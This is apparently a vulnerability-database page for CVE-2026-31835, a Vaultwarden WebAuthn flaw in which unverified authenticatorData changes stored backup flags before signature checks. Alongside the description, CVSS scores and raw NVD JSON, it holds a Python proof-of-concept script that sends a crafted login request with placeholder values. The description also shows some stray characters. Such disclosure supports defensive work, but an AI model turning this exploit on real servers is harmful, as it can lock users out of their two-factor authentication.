Security Vulnerability Report
中文
CVE-2026-31835 CVSS 5.4 MEDIUM

CVE-2026-31835

Published: 2026-05-05 19:16:22
Last Modified: 2026-05-11 16:59:34

Description

Vaultwarden is a Bitwarden-compatible server written in Rust. In versions 1.35.4 and earlier, the WebAuthn authentication flow in `validate_webauthn_login()` updates persistent credential metadata (1backup_eligible1 and 1backup_state flags1) based on unverified `authenticatorData` before signature validation is performed. An attacker who knows a user's password but cannot produce a valid WebAuthn signature can permanently modify the stored backup flags for that user's credential. If signature verification fails, the database update is not rolled back. This can result in a persistent denial of service of WebAuthn two-factor authentication for affected credentials. This issue has been fixed in version 1.35.5.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:dani-garcia:vaultwarden:*:*:*:*:*:*:*:* - VULNERABLE
Vaultwarden <= 1.35.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # Conceptual Proof of Concept for CVE-2026-31835 # This script demonstrates how an attacker with a valid password # could trigger the logic flaw to corrupt WebAuthn metadata. TARGET_URL = "https://target-vaultwarden-instance.com/api/accounts/webauthn/login" # Assume the attacker has already obtained the user's password and generated a session token # or is interacting with the endpoint that accepts WebAuthn responses during login. SESSION_TOKEN = "<OBTAINED_SESSION_TOKEN_WITH_PASSWORD>" USER_ID = "<TARGET_USER_ID>" CREDENTIAL_ID = "<TARGET_WEBAUTHN_CREDENTIAL_ID>" def exploit(): headers = { "Authorization": f"Bearer {SESSION_TOKEN}", "Content-Type": "application/json" } # Malicious authenticatorData: crafted to flip backup flags (backup_eligible/backup_state) # Normally this data should be signed, but the server processes it before checking the signature. # This is a placeholder for the actual base64 encoded byte array. malicious_authenticator_data = "INVALID_MALICIOUS_AUTHENTICATOR_DATA_BASE64" # Provide an invalid signature to ensure the verification step fails AFTER the DB update. invalid_signature = "INVALID_SIGNATURE_TO_TRIGGER_FAILURE" payload = { "deviceId": "poc_device", "twoFactorToken": "", "twoFactorProvider": 0, # WebAuthn provider "twoFactorRemember": 0, "webauthn_login_response": { "id": CREDENTIAL_ID, "rawId": CREDENTIAL_ID, "type": "public-key", "response": { "authenticatorData": malicious_authenticator_data, "clientDataJSON": "dummy_client_data", "signature": invalid_signature, "userHandle": USER_ID } } } try: print("[*] Sending malicious WebAuthn login request...") response = requests.post(TARGET_URL, headers=headers, data=json.dumps(payload)) # The server might return an error (e.g., 400 Bad Request or 401 Unauthorized) # because the signature is invalid. # However, due to the vulnerability, the database flags have already been updated. if response.status_code != 200: print(f"[-] Request failed as expected (Status: {response.status_code})") print("[!] Check database: backup flags might have been corrupted (DoS triggered).") else: print("[!] Unexpected success.") print(f"Response: {response.text}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-31835", "sourceIdentifier": "[email protected]", "published": "2026-05-05T19:16:21.733", "lastModified": "2026-05-11T16:59:34.180", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vaultwarden is a Bitwarden-compatible server written in Rust. In versions 1.35.4 and earlier, the WebAuthn authentication flow in `validate_webauthn_login()` updates persistent credential metadata (1backup_eligible1 and 1backup_state flags1) based on unverified `authenticatorData` before signature validation is performed. An attacker who knows a user's password but cannot produce a valid WebAuthn signature can permanently modify the stored backup flags for that user's credential. If signature verification fails, the database update is not rolled back. This can result in a persistent denial of service of WebAuthn two-factor authentication for affected credentials. This issue has been fixed in version 1.35.5."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-345"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:dani-garcia:vaultwarden:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.35.5", "matchCriteriaId": "84C9FEC4-49EA-4F83-9E8F-9DA52A9A987E"}]}]}], "references": [{"url": "https://github.com/dani-garcia/vaultwarden/releases/tag/1.35.5", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/dani-garcia/vaultwarden/security/advisories/GHSA-x7g7-cgx5-jhx2", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/dani-garcia/vaultwarden/security/advisories/GHSA-x7g7-cgx5-jhx2", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}